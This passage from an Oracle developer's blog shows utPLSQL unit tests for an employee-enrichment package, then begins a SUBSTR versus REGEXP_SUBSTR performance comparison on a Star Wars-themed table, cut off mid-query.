            and emp.record_status = 'PROCESS'
        )
        when matched then update
            set emp.department_name = dept.department_name;
    
        update employees_core
        set record_status = 'DEPARTMENT_ID_NOT_FOUND'
        where record_status = 'PROCESS'
        and department_name is null;

        commit;
    end department_details;    
            
    procedure job_details( i_load_id in number)
    is
        -- Don't suspend if we don't get a match, just leave the job_title empty.
    begin  
        merge into employees_core emp
        using jobs j
        on
        (
                emp.job_id = j.job_id
            and emp.record_status = 'PROCESS'                
            and emp.load_id = i_load_id
        )
        when matched then update
            set emp.job_title = j.job_title;
        
        commit;            
        
    end job_details;
end;
/

Note that, as is common in such routines, commits are done immediately after potentially large DML statements in order to minimise the length of time that Undo space is in use.
This is significant as we’ll need to account for it explicitly in our tests.

For the DEPARTMENT_DETAILS procedure, we want to check what happens when :

• we find a match in the DEPARTMENTS table
• we don’t find a match
• the DEPARTMENT_ID on the core record is null

For JOB_DETAILS, the conditions to test are similar :

• RECORD_STATUS is not ‘PROCESS’
• we find a match in the JOBS table
• we don’t find a match
• the JOB_ID is null

From this list of scenarios, we can construct our test package specification :

create or replace package enrich_employees_ut
as
    --%suite(enrich_employees_ut)
    --%rollback(Manual)
    
    --%test( Department Lookup Succeeds)
    procedure department_is_found;
    
    --%test( Department does not exist)
    procedure department_not_found;
    
    --%test( Department ID is null)
    procedure department_is_null;
    
    --%test( Status is not PROCESS)
    procedure status_not_process;
    
    --%test( Job Lookup Succeeds)
    procedure job_is_found;
    
    --%test( Job does not exist)
    procedure job_not_found;
    
    --%test( Job ID is null)
    procedure job_is_null;
    
end enrich_employees_ut;

The annotations we’re using here are :

--%suite(enrich_employees_ut)

…which allows us to the option to group multiple test packages into the same suite should we want to.

--%rollback(Manual)

…which prevents the Framework attempting it’s default rollback behaviour ( rollback to a savepoint) which won’t work here due to the commits in the code we’re testing.

--%test

…which identifies and describes the tests themselves.

We may well want to write tests and run them one-at-a-time so that we can adjust them ( or, indeed the code we’re testing) as we go.

In such circumstances, a script such as this, which uses the already created test package specification to generate a file containing the ddl for the package body, might come in handy :

clear screen
set heading off
set lines 130
set pages 500
set feedback off
set verify off
column pkg new_value v_package_name noprint
select '&1' as pkg from dual;

spool  '&v_package_name..pkb'

with package_skeleton as 
(
    select 1 as line, 'create or replace package body &v_package_name' as text from dual
    union 
    select line,
        case 
            when line < ( select max(line) from user_source where name = upper('&v_package_name') and type = 'PACKAGE')
            then
                replace (
                    replace( 
                        replace(text, '%test('), 
                        ')')
                    ,';', q'[ is begin ut.fail('Not yet written'); end;]')
            else text
        end as text
    from user_source
    where name = upper('&v_package_name')
    and type = 'PACKAGE'
    and line > 1 
    and
    (
        regexp_replace(text, '[[:space:]]') not like '--\%%' escape '\'
        or 
        regexp_replace(text, '[[:space:]]') like '--\%test%' escape '\'
    )    
)
select text from package_skeleton order by line
/

In this case, the generated package body looks like this, and compiles straight away :

create or replace package body enrich_employees_ut
as
    -- Department Lookup Succeeds
    procedure department_is_found is begin ut.fail('Not yet written'); end;
    -- Department does not exist
    procedure department_not_found is begin ut.fail('Not yet written'); end;
    -- Department ID is null
    procedure department_is_null is begin ut.fail('Not yet written'); end;
    -- Status is not PROCESS
    procedure status_not_process is begin ut.fail('Not yet written'); end;
    -- Job Lookup Succeeds
    procedure job_is_found is begin ut.fail('Not yet written'); end;
    -- Job does not exist
    procedure job_not_found is begin ut.fail('Not yet written'); end;
    -- Job ID is null
    procedure job_is_null is begin ut.fail('Not yet written'); end;
end enrich_employees_ut;

I prefer to create global variables to hold the test data.
This is because each test is likely to use a similar data set so, this way, the variables only need to be declared once.
As we’re dealing with table rows here, I’m just declaring a single record variable for each table.
This makes it very simple to add columns that we want to populate as they’re pre-declared as part of the record type.

For this test, my globals are :

g_emp employees_core%rowtype;
g_job jobs%rowtype;
g_dept departments%rowtype;

g_result employees_core%rowtype;

Next, we need a procedure to initialise these globals :

procedure set_globals
is
begin
    -- start by setting the globals to the values required for the first test, which 
    -- I usually make the test for the most commonly expected behaviour
    
    --
    -- Values for Employees Core record
    --
    
    -- Making numeric values negative means that they are less likely to clash 
    -- with an existing sequence generated value
    g_emp.load_id := -1; 
    g_emp.employee_id := -8;
    
    -- However wide the table, we only have to populate mandatory columns, and
    -- any columns we want for the tests...
    g_emp.department_id := -64;
    g_emp.record_status := 'PROCESS';
    
    -- Job Id is a Varchar - no constraints on it other than length...
    g_emp.job_id := 'WIZZARD';
    
    --
    -- Values for the Department Lookup ( starting with ones that we expect to find)
    --
    
    -- Values set independently of the EMPLOYEES_CORE values as we'll want to see what happens 
    -- if they DON't match, as well as if they do.
    g_dept.department_id := -64; 
    g_dept.department_name := 'Cruel and Unusual Geography';
    
    --
    -- Values for the Job lookup
    --
    g_job.job_id := 'WIZZARD';
    g_job.job_title := 'Professor';
    
end set_globals;

Then there is a procedure to create the test records using the global variable values.
This separation between initialising the globals and creating the records is needed so that we can “tweak” the values we use for each test as appropriate :

procedure setup_data
is
    -- Populate the tables with our test data
begin
    insert into employees_core values g_emp;
    insert into departments values g_dept;
    insert into jobs values g_job;
    commit;
end setup_data;

This is followed by a procedure to retrieve the actual results of the program execution :

    procedure fetch_results
    is
        cursor c_result is
            select *
            from employees_core
            where load_id = g_emp.load_id
            and employee_id = g_emp.employee_id;
    begin
        open c_result;
        fetch c_result into g_result;
        close c_result;
    end fetch_results;

Finally, as we need to tidy up after we’ve finished, there’s a teardown procedure to remove any test records we’ve set up :

procedure teardown_data 
is
    -- Tidy up by removing the test data using unique values where possible.
begin
    delete from employees_core
    where employee_id = g_emp.employee_id 
    and load_id = g_emp.load_id;
    
    delete from departments
    where department_id = g_dept.department_id;
    
    delete from jobs
    where job_id = g_job.job_id;

    commit;
end teardown_data;    

You might think we’ve done quite a bit of typing without writing any tests. The payoff for this up-front effort becomes apparent when you start on the first test, as you’re pretty much just calling everything you’ve already written and only need to add a couple of expectations, and an exception handler :

-- Department Lookup Succeeds
procedure department_is_found 
is 
begin 
    -- Setup
    set_globals;
    setup_data;

    -- Execute
    enrich_employees.department_details(g_emp.load_id);
    
    -- Get the actual results
    
    fetch_results;
    -- Validate
    ut.expect( g_result.department_name).to_(equal(g_dept.department_name));
    ut.expect( g_result.record_status).to_(equal('PROCESS'));
    
    -- Teardown 
    teardown_data;
exception when others then
        dbms_output.put_line(dbms_utility.format_error_stack);
        ut.fail('Unexpected Error');
        teardown_data;
end;

The exception handler is there to ensure that the teardown runs even if we hit an unexpected error.
This is more likely than usual as you’re developing the test code and (potentially) the code your testing iteratively when running these tests.

We can execute our test standalone :

set serverout on
exec ut.run('enrich_employees_ut.department_is_found');

enrich_employees_ut
  Department Lookup Succeeds [.005 sec]
 
Finished in .007019 seconds
1 tests, 0 failed, 0 errored, 0 disabled, 0 warning(s)
 


PL/SQL procedure successfully completed.

The code for our second test is almost identical, apart from the change in one variable value and the expected results :

-- Department does not exist
procedure department_not_found 
is 
begin
    
    -- Setup
    set_globals;
    -- Almost exactly the same as the first test excep...
    g_emp.department_id := -4096;
    setup_data;

    -- Execute
    enrich_employees.department_details(g_emp.load_id);
    
    fetch_results;
    
    -- Validate
    ut.expect( g_result.department_name).to_(be_null());
    ut.expect( g_result.record_status).to_(equal('DEPARTMENT_ID_NOT_FOUND'));
    
    -- Teardown 
    teardown_data;
exception when others then
        dbms_output.put_line(dbms_utility.format_error_stack);
        ut.fail('Unexpected Error');
        teardown_data;
end;

The rest of the test follow a broadly similar pattern.

The finished test package body looks like this :

create or replace package body enrich_employees_ut
as
    -- Global variables for use in tests
    g_emp employees_core%rowtype;
    g_job jobs%rowtype;
    g_dept departments%rowtype;
   
    g_result employees_core%rowtype;        

    procedure set_globals
    is
    begin
        g_emp.load_id := -1; 
        g_emp.employee_id := -8;
        
        g_emp.department_id := -64;
        g_emp.record_status := 'PROCESS';
       
        g_emp.job_id := 'WIZZARD';
        g_dept.department_id := -64; 
        g_dept.department_name := 'Cruel and Unusual Geography';
       
        g_job.job_id := 'WIZZARD';
        g_job.job_title := 'Professor';
        
    end set_globals;
    
    procedure setup_data
    is
    begin
        insert into employees_core values g_emp;
        insert into departments values g_dept;
        insert into jobs values g_job;
        commit;
    end setup_data;
    
    procedure fetch_results
    is
        cursor c_result is
            select *
            from employees_core
            where load_id = g_emp.load_id
            and employee_id = g_emp.employee_id;
    begin
        open c_result;
        fetch c_result into g_result;
        close c_result;
    end fetch_results;
    
    procedure teardown_data 
    is
        -- Tidy up by removing the test data using unique values where possible.
    begin
        delete from employees_core
        where employee_id = g_emp.employee_id 
        and load_id = g_emp.load_id;
        
        delete from departments
        where department_id = g_dept.department_id;
        
        delete from jobs
        where job_id = g_job.job_id;
    
        commit;
    end teardown_data;    
    
    -- Department Lookup Succeeds
    procedure department_is_found 
    is 
    begin 
        -- Setup
        set_globals;
        setup_data;

        -- Execute
        enrich_employees.department_details(g_emp.load_id);
        
        fetch_results;

        -- Validate
        ut.expect( g_result.department_name).to_(equal(g_dept.department_name));
        ut.expect( g_result.record_status).to_(equal('PROCESS'));
        
        -- Teardown 
        teardown_data;
    exception when others then
        dbms_output.put_line(dbms_utility.format_error_stack);
        ut.fail('Unexpected Error');
        teardown_data;
    end;

    -- Department does not exist
    procedure department_not_found 
    is 
    begin
        
        -- Setup
        set_globals;
        -- Almost exactly the same as the first test excep...
        g_emp.department_id := -4096;
        setup_data;

        -- Execute
        enrich_employees.department_details(g_emp.load_id);
        
        fetch_results;
        
        -- Validate
        ut.expect( g_result.department_name).to_(be_null());
        ut.expect( g_result.record_status).to_(equal('DEPARTMENT_ID_NOT_FOUND'));
        
        -- Teardown 
        teardown_data;
    exception when others then
        dbms_output.put_line(dbms_utility.format_error_stack);
        ut.fail('Unexpected Error');
        teardown_data;
    end;

    -- Department ID is null
    procedure department_is_null 
    is
    begin
        
        -- Setup
        set_globals;
        -- Again, just a single change required :
        g_emp.department_id := null;
        setup_data;

        -- Execute
        enrich_employees.department_details(g_emp.load_id);
        
        fetch_results;
        
        -- Validate
        ut.expect( g_result.department_name).to_(be_null());
        ut.expect( g_result.record_status).to_(equal('DEPARTMENT_ID_NOT_FOUND'));
        
        -- Teardown 
        teardown_data;
    exception when others then
        dbms_output.put_line(dbms_utility.format_error_stack);
        ut.fail('Unexpected Error');
        teardown_data;
    end;

    -- Status is not PROCESS
    procedure status_not_process 
    is 
    begin
        -- Setup
        set_globals;
        -- This time set the status to prevent processing
        g_emp.record_status := 'SUSPENDED';
        setup_data;

        -- Execute
        enrich_employees.department_details(g_emp.load_id);
        
        fetch_results;

        -- Validate
        ut.expect( g_result.department_name).to_(be_null());
        ut.expect( g_result.record_status).to_(equal('SUSPENDED'));
        
        -- Teardown 
        teardown_data;
    exception when others then
        dbms_output.put_line(dbms_utility.format_error_stack);
        ut.fail('Unexpected Error');
        teardown_data;
    end;

    -- JOB Lookup Succeeds
    procedure job_is_found 
    is 
    begin 
            
        -- Setup
        -- We can use the default values here
        set_globals;
        setup_data;

        -- Execute
        enrich_employees.job_details(g_emp.load_id);
        
        fetch_results;        
        
        -- Validate
        ut.expect( g_result.job_title).to_(equal(g_job.job_title));
        
        -- Teardown 
        teardown_data;
    exception when others then
        dbms_output.put_line(dbms_utility.format_error_stack);
        ut.fail('Unexpected Error');
        teardown_data;
    end;

    -- Job does not exist
    procedure job_not_found 
    is 
    begin
        -- Setup
        set_globals;
        g_emp.job_id := -32768;
        setup_data;

        -- Execute
        enrich_employees.job_details(g_emp.load_id);
        
        -- Get the actual results
        fetch_results;
        
        -- Validate
        ut.expect( g_result.job_title).to_(be_null());
        ut.expect( g_result.record_status).to_(equal('PROCESS'));
        
        -- Teardown 
        teardown_data;
    exception when others then
        dbms_output.put_line(dbms_utility.format_error_stack);
        ut.fail('Unexpected Error');
        teardown_data;
    end;

    -- Job ID is null
    procedure job_is_null 
    is 
    begin 
        -- Setup
        set_globals;
        g_emp.job_id := null;
        setup_data;

        -- Execute
        enrich_employees.job_details(g_emp.load_id);
        
        fetch_results;
        
        -- Validate
        ut.expect( g_result.job_title).to_(be_null());
        ut.expect( g_result.record_status).to_(equal('PROCESS'));
        
        -- Teardown 
        teardown_data;
    exception when others then
        dbms_output.put_line(dbms_utility.format_error_stack);
        ut.fail('Unexpected Error');
        teardown_data;
    end;

end enrich_employees_ut;

To run all of the tests in a suite, I usually use a script like this, which handles recompilation of either the test package or the code unit being tested without raising all those pesky ORA-4068 errors :

exec dbms_session.modify_package_state(dbms_session.reinitialize);
clear screen
set serveroutput on size unlimited
exec ut.run('enrich_employees_ut');

enrich_employees_ut
  Department Lookup Succeeds [.004 sec]
  Department does not exist [.003 sec]
  Department ID is null [.003 sec]
  Status is not PROCESS [.003 sec]
  Job Lookup Succeeds [.003 sec]
  Job does not exist [.003 sec]
  Job ID is null [.003 sec]
 
Finished in .026568 seconds
7 tests, 0 failed, 0 errored, 0 disabled, 0 warning(s)
 


PL/SQL procedure successfully completed.

Of course I will probably still need to run a batch at some point if I want to perform a full System Test and (optionally) a load test. For now however, I can be confident that my code is at least functionally correct.

Oracle SQL offers support for POSIX regular expressions by means of a suite of native functions.

Whilst providing the ability for complex search conditions that regular expressions offer, REGEXP_SUBSTR has acquired a reputation for being a fair bit slower when compared to the standard SUBSTR function.

What I’m going to demonstrate here is :

• how SUBSTR seems generally to be faster than REGEXP_SUBSTR
• how the performance of REGEXP_SUBSTR can improve dramatically when used with INSTR
• REGEXP_SUBSTR performs better when it matches the start of a string

To start with though, well discover why you’ll never see a Sith Lord on Sesame Street ( hint : it’s the way they count in a Galaxy Far, Far Away)…

We have a two-column table that looks like this :

create table star_wars_numbers
(
    id number generated always as identity,
    episode varchar2(4000)
)
/

insert into star_wars_numbers( episode)
values('Four');

insert into star_wars_numbers( episode)
values('Four|Five');

insert into star_wars_numbers( episode)
values('Four|Five|Six');

insert into star_wars_numbers( episode)
values('Four|Five|Six|One');

insert into star_wars_numbers( episode)
values('Four|Five|Six|One|Two');

insert into star_wars_numbers( episode)
values('Four|Five|Six|One|Two|Three');

insert into star_wars_numbers( episode)
values('Four|Five|Six|One|Two|Three|Seven');

insert into star_wars_numbers( episode)
values('Four|Five|Six|One|Two|Three|Seven|Three-and-a-bit');

insert into star_wars_numbers( episode)
values('Four|Five|Six|One|Two|Three|Seven|Three-and-a-bit|Three and a bit less of a bit');

insert into star_wars_numbers( episode)
values('Four|Five|Six|One|Two|Three|Seven|Three-and-a-bit|Three and a bit less of a bit|Eight');

insert into star_wars_numbers( episode)
values('Four|Five|Six|One|Two|Three|Seven|Three-and-a-bit|Three and a bit less of a bit|Eight|Nine');

commit;

Whilst the contents of the EPISODES column may be the result of arcane Sith ritual, Moof-Milker activity in the design process cannot be ruled out.

Either way, the EPISODES column contains up to 11 values, with multiple columns being separated by a ‘|’.

Using SUBSTR and INSTR to separate out the values in EPISODES is, as ever, quite a bit of typing…

select 
    id, 
    episode, 
    substr
    (
        episode, 
        1, 
        case 
            when instr(episode, '|') > 0 then instr(episode, '|') -1 
            else length(episode) 
        end
    )  as "A New Hope",
    case when instr(episode, '|', 1, 1) > 0 then
        substr
        (
            episode, 
            instr(episode, '|', 1, 1) + 1, -- start
            case 
                when instr(episode, '|', 1, 2) > 0 then instr(episode, '|', 1,2) -1 
                else length(episode) 
            end
            -
            instr(episode, '|', 1, 1)   
        ) 
    end as "The Empire Strikes Back",
    case when instr(episode, '|', 1, 2) > 0 then
        substr( episode, instr(episode, '|', 1, 2) + 1,
            case when instr(episode, '|', 1,3) > 0 then instr(episode, '|',1,3) - 1 else length(episode) end 
            -
            instr(episode, '|', 1, 2))
    end as "Return of the Jedi",    
    case when instr(episode, '|', 1, 3) > 0 then
        substr( episode, instr(episode, '|', 1, 3) + 1,
            case when instr(episode, '|', 1,4) > 0 then instr(episode, '|',1,4) - 1 else length(episode) end 
            -
            instr(episode, '|', 1, 3))
    end as "Phantom Menace",
    case when instr(episode, '|', 1, 4) > 0 then
        substr( episode, instr(episode, '|', 1, 4) + 1,
            case when instr(episode, '|', 1,5) > 0 then instr(episode, '|',1,5) - 1 else length(episode) end 
            -
            instr(episode, '|', 1, 4))
    end as "Attack of the Clones",
    case when instr(episode, '|', 1, 5) > 0 then
        substr( episode, instr(episode, '|', 1, 5) + 1,
            case when instr(episode, '|', 1,6) > 0 then instr(episode, '|',1,6) - 1 else length(episode) end 
            -
            instr(episode, '|', 1, 5))
    end as "Revenge of the Sith",
    case when instr(episode, '|', 1, 6) > 0 then
        substr( episode, instr(episode, '|', 1, 6) + 1,
            case when instr(episode, '|', 1,7) > 0 then instr(episode, '|',1,7) - 1 else length(episode) end 
            -
            instr(episode, '|', 1, 6))
    end as "The Force Awakens",
    case when instr(episode, '|', 1, 7) > 0 then
        substr( episode, instr(episode, '|', 1, 7) + 1,
            case when instr(episode, '|', 1,8) > 0 then instr(episode, '|',1,8) - 1 else length(episode) end 
            -
            instr(episode, '|', 1, 7))
    end as "Rogue One",        
    case when instr(episode, '|', 1, 8) > 0 then
        substr( episode, instr(episode, '|', 1, 8) + 1,
            case when instr(episode, '|', 1,9) > 0 then instr(episode, '|',1,9) - 1 else length(episode) end 
            -
            instr(episode, '|', 1, 8))
    end as "Solo",        
    case when instr(episode, '|', 1, 9) > 0 then
        substr( episode, instr(episode, '|', 1, 9) + 1,
            case when instr(episode, '|', 1, 10) > 0 then instr(episode, '|',1, 10) - 1 else length(episode) end 
            -
            instr(episode, '|', 1, 9))
    end as "The Last Jedi",        
    case when instr(episode, '|', 1, 10) > 0 then
        substr( episode, instr(episode, '|', 1, 10) + 1,
            case when instr(episode, '|', 1, 11) > 0 then instr(episode, '|',1, 11) - 1 else length(episode) end 
            -
            instr(episode, '|', 1, 10))
    end as "The Rise of Skywalker"                
from star_wars_numbers
/

…although these days ( version 12c and later), we can save ourselves a bit of effort by using an inline function…

with function extract_episode( i_string in varchar2, i_pos in pls_integer)
    return varchar2
is
begin
    if i_pos = 1 then
        return substr(i_string, 1, case when instr(i_string, '|') > 0 then instr(i_string, '|') - 1 else length(i_string) end);
    end if;    
    return
        case when instr(i_string, '|', 1, i_pos -1 ) > 0 then
            substr( i_string, instr(i_string, '|', 1, i_pos -1) + 1,
                case when instr(i_string, '|', 1, i_pos) > 0 then instr(i_string, '|',1, i_pos) - 1 else length(i_string) end 
                -
                instr( i_string, '|', 1, i_pos - 1))
        end;
end;
select 
id, episode, 
    extract_episode( episode, 1) as "A New Hope",
    extract_episode( episode, 2) as "Empire Strikes Back",
    extract_episode( episode, 3) as "Return of the Jedi",
    extract_episode( episode, 4) as "The Phantom Menace",
    extract_episode( episode, 5) as "Attack of the Clones",
    extract_episode( episode, 6) as "Revenge of the Sith",
    extract_episode( episode, 7) as "The Force Awakens",
    extract_episode( episode, 8) as "Rogue One",
    extract_episode( episode, 9) as "Solo",
    extract_episode( episode, 10) as "The Last Jedi",
    extract_episode( episode, 11) as "The Rise of Skywalker"
from star_wars_numbers
/
    
    

Whether you find the equivalent regexp query more elegant or just horrible is somewhat subjective :

select 
    regexp_substr(episode, '[^|]+') as "A New Hope",
    regexp_substr(episode, '[^|]+',1, 2) as "The Empire Strikes Back",
    regexp_substr(episode, '[^|]+',1, 3) as "Return of the Jedi",
    regexp_substr(episode, '[^|]+',1, 4) as "The Phantom Menace",
    regexp_substr(episode, '[^|]+',1, 5) as "Attack of the Clones",
    regexp_substr(episode, '[^|]+',1, 6) as "Revenge of the Sith",
    regexp_substr(episode, '[^|]+',1, 7) as "The Force Awakens",
    regexp_substr(episode, '[^|]+',1, 8) as "Rogue One",
    regexp_substr(episode, '[^|]+',1, 9) as "Solo",
    regexp_substr(episode, '[^|]+',1, 10) as "The Last Jedi",
    regexp_substr(episode, '[^|]+',1, 11) as "The Rise of Skywalker"
from star_wars_numbers
/

Irrespective of aesthetic considerations, I should explain the regexp in use here, if only so I can understand it when I read this a few months from now :

[^|] - match any character that isn't pipe ("|")
+ - match one or more times

Next, we need to find out how the regexp function stacks up when it comes to performance, and we’re not going to find that with a mere 11 rows of data…

Let’s make some use of all that space in the Galaxy Far, Far Away…

create table galaxy (
    id number generated always as identity,
    episode varchar2(4000))
/

begin
    for i in 1..100000 loop
        insert into galaxy(episode)
        select episode from star_wars_numbers;
        
        commit;
    end loop;
end;
/

exec dbms_stats.gather_table_stats(user, 'galaxy');

All of the following tests were run on Oracle 19c Enterprise Edition running on Oracle Linux.

Everything was run in a SQL*Plus session from the command line on the database server.

The queries were run in SQL*Plus with the following settings :

set lines 130
clear screen
set autotrace trace
set timing on

Each query was executed at least twice consecutively to ensure that results were not skewed by the state of the buffer cache.

It’s also worth noting that, I found no low-level explanation for the performance discrepancies between the two functions when trawling through trace files. Therefore, I’ve concentrated on elapsed time as the main performance metric in these tests.

Let’s start with the SUBSTR function ( referred to as “Standard” henceforth) :

select 
    id, 
    substr
    (
        episode,  -- input string
        1,  -- start position
        case 
            when instr(episode, '|') > 0 then instr(episode, '|') -1 
            else length(episode) 
        end -- number of characters to extract
    )  as "A New Hope",
    case when instr(episode, '|', 1, 1) > 0 then
        substr
        (
            episode, 
            instr(episode, '|', 1, 1) + 1, -- start
            case 
                when instr(episode, '|', 1, 2) > 0 then instr(episode, '|', 1,2) -1 
                else length(episode) 
            end
            -
            instr(episode, '|', 1, 1)   
        ) 
    end as "The Empire Strikes Back",
    case when instr(episode, '|', 1, 2) > 0 then
        substr( episode, instr(episode, '|', 1, 2) + 1,
            case when instr(episode, '|', 1,3) > 0 then instr(episode, '|',1,3) - 1 else length(episode) end 
            -
            instr(episode, '|', 1, 2))
    end as "Return of the Jedi",    
    case when instr(episode, '|', 1, 3) > 0 then
        substr( episode, instr(episode, '|', 1, 3) + 1,
            case when instr(episode, '|', 1,4) > 0 then instr(episode, '|',1,4) - 1 else length(episode) end 
            -
            instr(episode, '|', 1, 3))
    end as "Phantom Menace",
    case when instr(episode, '|', 1, 4) > 0 then
        substr( episode, instr(episode, '|', 1, 4) + 1,
            case when instr(episode, '|', 1,5) > 0 then instr(episode, '|',1,5) - 1 else length(episode) end 
            -
            instr(episode, '|', 1, 4))
    end as "Attack of the Clones",
    case when instr(episode, '|', 1, 5) > 0 then
        substr( episode, instr(episode, '|', 1, 5) + 1,
            case when instr(episode, '|', 1,6) > 0 then instr(episode, '|',1,6) - 1 else length(episode) end 
            -
            instr(episode, '|', 1, 5))
    end as "Revenge of the Sith",
    case when instr(episode, '|', 1, 6) > 0 then
        substr( episode, instr(episode, '|', 1, 6) + 1,
            case when instr(episode, '|', 1,7) > 0 then instr(episode, '|',1,7) - 1 else length(episode) end 
            -
            instr(episode, '|', 1, 6))
    end as "The Force Awakens",
    case when instr(episode, '|', 1, 7) > 0 then
        substr( episode, instr(episode, '|', 1, 7) + 1,
            case when instr(episode, '|', 1,8) > 0 then instr(episode, '|',1,8) - 1 else length(episode) end 
            -
            instr(episode, '|', 1, 7))
    end as "Rogue One",        
    case when instr(episode, '|', 1, 8) > 0 then
        substr( episode, instr(episode, '|', 1, 8) + 1,
            case when instr(episode, '|', 1,9) > 0 then instr(episode, '|',1,9) - 1 else length(episode) end 
            -
            instr(episode, '|', 1, 8))
    end as "Solo",        
    case when instr(episode, '|', 1, 9) > 0 then
        substr( episode, instr(episode, '|', 1, 9) + 1,
            case when instr(episode, '|', 1, 10) > 0 then instr(episode, '|',1, 10) - 1 else length(episode) end 
            -
            instr(episode, '|', 1, 9))
    end as "The Last Jedi",        
    case when instr(episode, '|', 1, 10) > 0 then
        substr( episode, instr(episode, '|', 1, 10) + 1,
            case when instr(episode, '|', 1, 11) > 0 then instr(episode, '|',1, 11) - 1 else length(episode) end 
            -
            instr(episode, '|', 1, 10))
    end as "The Rise of Skywalker"                
from galaxy
/

Runnnig this query, we get :

1100000 rows selected.

Elapsed: 00:00:20.32

Execution Plan
----------------------------------------------------------                                                                        
Plan hash value: 3574103611                                                                                                       
                                                                                                                                  
----------------------------------------------------------------------------                                                      
| Id  | Operation         | Name   | Rows  | Bytes | Cost (%CPU)| Time     |                                                      
----------------------------------------------------------------------------                                                      
|   0 | SELECT STATEMENT  |        |  1100K|    47M|  2089   (1)| 00:00:01 |                                                      
|   1 |  TABLE ACCESS FULL| GALAXY |  1100K|    47M|  2089   (1)| 00:00:01 |                                                      
----------------------------------------------------------------------------                                                      


Statistics
----------------------------------------------------------                                                                        
          0  recursive calls                                                                                                      
          0  db block gets                                                                                                        
      80459  consistent gets                                                                                                      
       7616  physical reads                                                                                                       
          0  redo size                                                                                                            
   35857676  bytes sent via SQL*Net to client                                                                                     
     811886  bytes received via SQL*Net from client                                                                               
      73335  SQL*Net roundtrips to/from client                                                                                    
          0  sorts (memory)                                                                                                       
          0  sorts (disk)                                                                                                         
    1100000  rows processed                                                                                                       

Before we look at the REGEXP_SUBSTR equivalent, it’s probably worth considering the more streamlined in-line function version of this query :

with function extract_episode( i_string in varchar2, i_pos in pls_integer)
    return varchar2
is
begin
    return
        case when instr(i_string, '|', 1, i_pos -1 ) > 0 then
            substr( i_string, instr(i_string, '|', 1, i_pos -1) + 1,
                case when instr(i_string, '|', 1, i_pos) > 0 then instr(i_string, '|',1, i_pos) - 1 else length(i_string) end 
                -
                instr( i_string, '|', 1, i_pos - 1))
        end;
end;
select 
    id, 
    substr
    (
        episode, 
        1, 
        case 
            when instr(episode, '|') > 0 then instr(episode, '|') -1 
            else length(episode) 
        end
    ) as "A New Hope",
    extract_episode( episode, 2) as "Empire Strikes Back",
    extract_episode( episode, 3) as "Return of the Jedi",
    extract_episode( episode, 4) as "The Phantom Menace",
    extract_episode( episode, 5) as "Attack of the Clones",
    extract_episode( episode, 6) as "Revenge of the Sith",
    extract_episode( episode, 7) as "The Force Awakens",
    extract_episode( episode, 8) as "Rogue One",
    extract_episode( episode, 9) as "Solo",
    extract_episode( episode, 10) as "The Last Jedi",
    extract_episode( episode, 11) as "The Rise of Skywalker"
from galaxy
/

Whilst it’s a bit more readable, it’s also a lot slower :

1100000 rows selected.

Elapsed: 00:00:41.76

Execution Plan
----------------------------------------------------------                                                                        
Plan hash value: 3574103611                                                                                                       
                                                                                                                                  
----------------------------------------------------------------------------                                                      
| Id  | Operation         | Name   | Rows  | Bytes | Cost (%CPU)| Time     |                                                      
----------------------------------------------------------------------------                                                      
|   0 | SELECT STATEMENT  |        |  1100K|    47M|  2089   (1)| 00:00:01 |                                                      
|   1 |  TABLE ACCESS FULL| GALAXY |  1100K|    47M|  2089   (1)| 00:00:01 |                                                      
----------------------------------------------------------------------------                                                      


Statistics
----------------------------------------------------------                                                                        
          0  recursive calls                                                                                                      
          0  db block gets                                                                                                        
      80459  consistent gets                                                                                                      
       7616  physical reads                                                                                                       
          0  redo size                                                                                                            
   35857676  bytes sent via SQL*Net to client                                                                                     
     810042  bytes received via SQL*Net from client                                                                               
      73335  SQL*Net roundtrips to/from client                                                                                    
          0  sorts (memory)                                                                                                       
          0  sorts (disk)                                                                                                         
    1100000  rows processed                                                                                                       

REGEXP_SUBSTR however, takes slow to a new level…

select id, 
    regexp_substr(episode, '[^|]+') as "A New Hope",
    regexp_substr(episode, '[^|]+',1, 2) as "The Empire Strikes Back",
    regexp_substr(episode, '[^|]+',1, 3) as "Return of the Jedi",
    regexp_substr(episode, '[^|]+',1, 4) as "The Phantom Menace",
    regexp_substr(episode, '[^|]+',1, 5) as "Attack of the Clones",
    regexp_substr(episode, '[^|]+',1, 6) as "Revenge of the Sith",
    regexp_substr(episode, '[^|]+',1, 7) as "The Force Awakens",
    regexp_substr(episode, '[^|]+',1, 8) as "Rogue One",
    regexp_substr(episode, '[^|]+',1, 9) as "Solo",
    regexp_substr(episode, '[^|]+',1, 10) as "The Last Jedi",
    regexp_substr(episode, '[^|]+',1, 11) as "The Rise of Skywalker"
from galaxy
/

1100000 rows selected.

Elapsed: 00:01:27.25

Execution Plan
----------------------------------------------------------                                                                        
Plan hash value: 3574103611                                                                                                       
                                                                                                                                  
----------------------------------------------------------------------------                                                      
| Id  | Operation         | Name   | Rows  | Bytes | Cost (%CPU)| Time     |                                                      
----------------------------------------------------------------------------                                                      
|   0 | SELECT STATEMENT  |        |  1100K|    47M|  2089   (1)| 00:00:01 |                                                      
|   1 |  TABLE ACCESS FULL| GALAXY |  1100K|    47M|  2089   (1)| 00:00:01 |                                                      
----------------------------------------------------------------------------                                                      


Statistics
----------------------------------------------------------                                                                        
          0  recursive calls                                                                                                      
          0  db block gets                                                                                                        
      80459  consistent gets                                                                                                      
       7616  physical reads                                                                                                       
          0  redo size                                                                                                            
   35857680  bytes sent via SQL*Net to client                                                                                     
     809519  bytes received via SQL*Net from client                                                                               
      73335  SQL*Net roundtrips to/from client                                                                                    
          0  sorts (memory)                                                                                                       
          0  sorts (disk)                                                                                                         
    1100000  rows processed                                                                                                       

Now see what happens when we give REGEXP_SUBSTR a little help from the humble INSTR (the “hybrid” query) :

select id, 
    regexp_substr(episode, '[^|]+') as "A New Hope",
    decode( instr(episode, '|'), 0, null, regexp_substr(episode, '[^|]+', instr(episode, '|',1,1) + 1)) as "The Empire Strikes Back",
    decode( instr(episode, '|',1, 2), 0, null, regexp_substr(episode, '[^|]+', instr(episode, '|',1,2) + 1)) as "Return of the Jedi",
    decode( instr(episode, '|',1, 3), 0, null, regexp_substr(episode, '[^|]+', instr(episode, '|',1,3) + 1)) as "The Phantom Menace",
    decode( instr(episode, '|',1, 4), 0, null, regexp_substr(episode, '[^|]+', instr(episode, '|',1,4) + 1)) as "Attack of the Clones",
    decode( instr(episode, '|',1, 5), 0, null, regexp_substr(episode, '[^|]+', instr(episode, '|',1,5) + 1)) as "Revenge of the Sith",
    decode( instr(episode, '|',1, 6), 0, null, regexp_substr(episode, '[^|]+', instr(episode, '|',1,6) + 1)) as "The Force Awakens",
